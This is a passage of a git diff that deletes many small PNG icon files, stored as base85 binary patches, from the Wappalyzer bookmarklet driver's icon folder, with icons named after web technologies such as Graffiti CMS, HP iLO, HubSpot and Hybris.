zApXmhJmkQEvI=|R*g1D{@{jv)0E>XvHcl=QQ7d2*u)%Gc=GNk^qGXMT#Qrg%Qoc@> zT+3~84Uwq(Y<2}JxP=I=fg3g+s0Pjm_?_Ey3;&P&2S6fe0h0R29{>OV07*qoM6N<$ Ef{uZp6#xJL diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Graffiti CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Graffiti CMS.png deleted file mode 100644 index fdeeffe85cb160780e2a8d249e65a6548998036d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 385 zcmV-{0e=38P);JmV4)3crTD9TQY}UHN=YPap&i_F(8BlQOY?l9# zK=H&yqW??RnfxzYt!swOfcZsh^l@sAT_Es3X_5H<+?5*tb5^R&N7o$Iyv>84=JaLq zAkF_Xmnr^FUMv}gY{34^bE!%t+{-?+5ehNw*M0r zivACu!%+q@;D6i#A(AvVY<2lxxzXx>2v9AG0mNzsMQhbY8?YX*7iu@#lcX7BY2;jP zkO5`jZ~!I}U?3_ItvP>{Hc0b+cq{-@SXjjdbD}hZaOiASkO5&RX#tqR=0g(+Ud?Gs z^(4%{Ewc;3yNoOR3W92 f_dwi6)f@}}8G(|FR*R~G00000NkvXXu0mjf+TODe diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Grandstream.png b/Wappalyzer/drivers/bookmarklet/images/icons/Grandstream.png deleted file mode 100755 index a347c58c9239ec3cf1afb1409bc8f81b5f39e9e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 384 zcmV-`0e}99P)3KD<_00I#S zh^Tk+$!Y9e4G-qb{m$&2o$FjMrgBjSQbDa7J6J#$lCDUw5ocIIjcTp9#1~FbhZdy6 za0-tYH?=h06<#y-YV_H#@A{0HApD|mKGF_l+9z<`<{&wW^L6pPPw?j;(2(w%(oQwCS9q)0}aSwNpAEl+@jb0XXsO&)1^7a ep8pq0WxfIFum>Tvv3Ifn00003P)*ahbnMf|`ZDsQ zn0bVUjaS_u9U2@xyQu|0MGYH6L1qWAYOoN1oV*Ha(<|Jo?dr)m7iy0y8`r_WBCDng zZkS!%;_GLZ{?97$YgELGy#QDmeDcfO4eGzTUOd#*IJoS266#yH0Z^M;mZz@eNU*`t zZ#S(8zfcPh~{8($8u%5djiEQbLMv4GX zsfMlPTSPPMgye=_>U@cetDD$N+L=#**Y@U|3Z)mgZt z`Uz4--EJkIZkA4=4qHpL_t{gpr`h#ZJVubnVSS6WeT(Ff;lV1N8Jp0``vzd*DwDTp zwXuL@x;*t2c%Z)MisV3z(6ABEvFSIuw{SgH7y=|A z>w|>r(hx#*kkAw;kzDAWhJk*1qsCn?F=l8mbJSBc%xy=i!#Hpby0M0A$2DCg znN-)UlFW!w5${0Z$Sg{x1qgTq3kx1-2F@pnwcwH{1)#qH;GJva?evfvHhwAcM0+|F zso?gTlQ6yIjwc6tA`$8}^O!(A*yUDhKTPUP5n8QZW#04)eWlT6cuoO`fcV)wrj4l+ za_!r;Jk4M)m1#(VvyZR4l95XC5*&Pn3Vp}K9>D;^&4Uylrk2Mk@#DKxsE>)5+4I02 zr2{f^S)fLEm`$OQ!A^$l6bH`n8w=7?EXYRSkwbeu_dg_b&=>-(zPbPa002ovPDHLk FV1jcMSStVk diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gravity Insights.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gravity Insights.png deleted file mode 100644 index 54228a3f0f51571afa874c9f4778ad3ea279080f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 257 zcmV+c0sj7pP)Lp`48z+QD9{YT-*6h>u=)T0hBN>F8>}H<2)cm6vj6`t zy!np;KK%UuKVT=31{`<>(e&W+|NjNY{{NqF8DWUPd;$i5Y=;35n<(#~`x^v6UVs@0 z(g?#Kd7=yeIUn6cAOJFiXfGf;cfm~}4L}Y=P@sV{!ZZ_Y04StkhQI*G5RkWsG604_ zUI2v&$q9)>`~hUZ843)T&j8MnGyiV{;-4hhJoEnwAm#@EYtqazW926300000NkvXX Hu0mjf4|Zl* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Green Valley CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Green Valley CMS.png deleted file mode 100644 index 94ceec0317e383d2d2655b8afa8db9dfcfdcefc2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 375 zcmV--0f_#IP)q1CKOyK|j_7ok;o#)=R2bbAWN~gFU9=t#(N4OLy9dPCgCL(`e z0(B3SW52Kf>?XB#Vc)WQA#$A7DcDJ@b>)T_fEZJ#t2t5?T^X>Oz<@ZQ=9TOp;29LV zV=S+VYf6%P`CUlSU=XM~ZpONoF+mW-_hsOXht1E5y4rsVOhVw41ZGee#w7~`K_WRU zBjgq~8favYO^#$SL);xX#S-F%(3~WT-vk$c98NXo5O&9&a)-^mDD?W(dm?-U7yxO6 V2L3C!>_z|p002ovPDHLkV1lZ5qdfos diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP ChaiServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP ChaiServer.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP Compact Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP Compact Server.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP ProCurve.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP ProCurve.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP System Management.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP System Management.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP iLO.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP iLO.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HP.png b/Wappalyzer/drivers/bookmarklet/images/icons/HP.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HTTP-Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/HTTP-Server.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Handlebars.png b/Wappalyzer/drivers/bookmarklet/images/icons/Handlebars.png deleted file mode 100644 index 691e0b9bca7f11cd7c0e7574455529d22bc5bac8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1284 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HeadJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/HeadJS.png deleted file mode 100644 index 9f51c0b290b545915896b0c7f62036d447819d41..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1285 zcmV+g1^W7lP)r1vAQLX*T)L`s@SNd_ft^&YT!z=+4Z{ z{OIE1!blAp85u!XSQymQ)IeinBLoBlu>U6{B(UP);Q_U^wX8%%MS+Ql$#qz?w6vhE zuI>*E#izUgoS&aR!zB7sMMZ^G5*{87U0q#JSy>4oAt4~m2MSF|NeSx(y4Tg!WxY^Z zS_)V#5EmB*q=P_2M@L^^GRN`?!{OoK=drP|XY`@6vNB|5X2QtG2&AQ@fsKvLwNfi9 zE2yrnX5B7**V57wl9Q8Rcz75J3kyL_O^to#?Ci|U&d$CD042`&BdMhM`1pvVaio*F zxw%1pem-<`bU!N78|mloW`Fh+wlnI5?PnMy@9hIXXIms;cUZZ^?70w}KA6p26}5N&R5e#yxP6r=h1`673BcgbDKWC`dta=Hz0 zK|#S0CbvH?23%fVPQWq~aw+C3cV z4**{>Yi@3yk!8WB3LOTyK(w~D_8rkYR~Xc=2~`9I1xe%ufO5sc!UFpG`X&Ith%*m_ zLgDlJ`ua^`H+cZSvSvCvJC_a)4$?S1AoarT?rvdXVxo{3?x_I${QSh&kTR*vdC~FJ zJYYUIH}{jTuP?)=-0l-EFE3_gW#tto6@Lr@JJ|D{o}NWRL&GPFMcLH1|Cg0DH4Xt!;uj-+jhu1}HBtU&TaolG|29itrSIoSYoa z#zX+h%F2EN00X(MWQ&W7Z*bz}jQv{}%wG_4V~PEiEnY zQ&UrqX{>T^aA2&ht=R>IvYtjasu1LQNpElOFY*SUaJ6cGfaR7zwp?3ZS!;n}qd3n%(00000NkvXXu0mjfVK7u$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hello Bar.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hello Bar.png deleted file mode 100644 index 55da2fd83818f2a8649983e90d4286e1036b819d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 323 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}T7XZ8>;M1%|0TQrPXZ$Mf5|TY z{{aR5f{0|d|0%BjQ`}al@vKzmU8&0V@BiObYWyqJxK^q0{!e!LlkEI2+5KON)1Uvp z{-(IBROerz#dh7CY!L-cjUHR2-jq7xi{q(^V5|b1(DOd9jriBUVA$B{jW{Mtefj2G{63=cqY$1fn)xk+LQ*M P8yP%Z{an^LB{Ts5bdZze diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hiawatha.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hiawatha.png deleted file mode 100644 index 68426ef8048a1ac1ddc9a251ed40dd48e6938c97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 493 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 LNkvXXu0mjfxfrYw diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hotaru CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hotaru CMS.png deleted file mode 100644 index af1576ff9a8ff6034384c10b541b5d9324b6eb59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 599 zcmV-d0;v6oP)p4o;|v!!pmOXcJh|JR>;{C~-z>;KoB zy6=l(KzJ69V_0S(hz+FWox(G{Q4BC}39ndp_R;^fXCD4vbNazQ5Dmm($ZCKZJ%Jj7 zfi8&#vSS>=GF0J`!ipxG&GR<@Sa{C{5YMIZnF|Idu<((dJZqMPS$-V&Hmy~HE7kOyP{)Bpc_ z?f(B?c4O*-ntv%Z6aS}Hcl>XiKJDu7|F@I~hWh{iTY(1bG5Ggy%etSxrv0C_wEq8x zj}w3v?`it?Z;v!lQTPAe>vMlS#W002ovPDHLkV1ldFG`0W$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/HubSpot.png b/Wappalyzer/drivers/bookmarklet/images/icons/HubSpot.png deleted file mode 100644 index ebf24d6233432662410ecf88a2115137ca242b43..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 497 zcmV_lHGCK9FP3OX|caNkPuz)|`KXLu}@r50m9K)MsDYKr`%RP9Q$MFB{+JZiG z`Jd0OXgurCJO8v*>&nkpcN8%U_P3E z&$kaek87kJL;e337EUi`2do7e!c5SB54$@`!5U`yt^e`#lGcyM7qnkYb=v_F`?#+! zpP&IiFPsJiC@2je1*q`D0+t_-tHfRqHUJpvKm)%1{q=(t*;@|_*?v5(5PD6}fcIPL z>Ojr~g+3@Me}8--@_J#^5|G&YZ4I@A0}<%-=e-t3!GT!7^6Ozf(=QPF`6P$Ee}8^s zCn_eusT3FvuYe&B#A`kso|aBj41iN7Fyw)Lef42yTLlBD0F+>W$@li7QoawsKx8J_ nfX}CvM1m5|(-w`Z_|yRaqbU&lhM7`~00000NkvXXu0mjf%8KF- diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Hybris.png b/Wappalyzer/drivers/bookmarklet/images/icons/Hybris.png deleted file mode 100644 index 842dd83430fc2ab897059902d706cc99721c56cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 906 zcmV;519kj~P) zacE6(6vyA&XdANu%(OO537WDBp_Y=iH$4^QPX!2siKrr=5bbTGF+mYgswTEUEWk`m zlz6h50feyO`W_C>J3IHjm)ELK+q?IB&i!_OzjJ=)`W(mcNqm9O2(Sel1$7_{J^_d6 zp=18Vmh}-jih060j)2Wzc)J+&@XlbLNMaGI0gK%r(aS(CxYdCMu7eye13~bz0}VU} z0n-3(bOLL@4;6FD%Ur#LN0?0P6x+Sz(tJ7<=kAUAGJj249qT7w8g)fmEH~1#u9`r z1G-i(g6=L!H>&PdCHuS5Qir^(ayMEA>UF75nYkp*2M>kz88sXiZ8o@}a@Sb~PAkzJ zFvKNk5;vkY(U>Y+w0XuUd(twnM~NPTaULh#P}cm>e>I2BK&XJqPUYTd87NVrH(+X% z<94w)9~_>5)0JkrYSqL7%Rr$qJ}r~Su1ks0QdEFVlvs67Iz?A0lSF}KAXm-*4i6Kl zQQm@|&wcvqH@e_Km6KZcK+8Y|k4sWqFAt>un20j@(2_Z?$uUp6J*31mP>zkmzy#i$ zGH0cHt9pDYG1iOD@&jN!m_?_e#{;Q6XM+v=>hBw4-jaxMP9>m?*zEanQC#NnVG@e= zVL~l?qSu#E7Ozo98K5%F^fEwY6Y@4-pARt_*rvkdg0005CNkldmP`_{;-uw<>$Y@p8z5=)gQ7}~iNg zv_x~41jmfYjanZC3Bg<>49O%TQ7}~i0YK2^g2f8EH2RKPQSxWWUEADuPMc*mIO&8T zbsl?^3nHSjD3b{a^9&lX*;c0|V+K^cb;M{cS1}=1mdRyug;%a>5d~4gSG~@9V-Du2 kscF?}r{!wq`|qFe6IxkyMH2}4y#N3J07*qoM6N<$g3>nDq5uE@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IPB.png b/Wappalyzer/drivers/bookmarklet/images/icons/IPB.png deleted file mode 100644 index 793d0b839f3c1a55079b2710f2b49595d993fb6f..0000000000000000000000000000000000000000 GIT binary patch literal 0 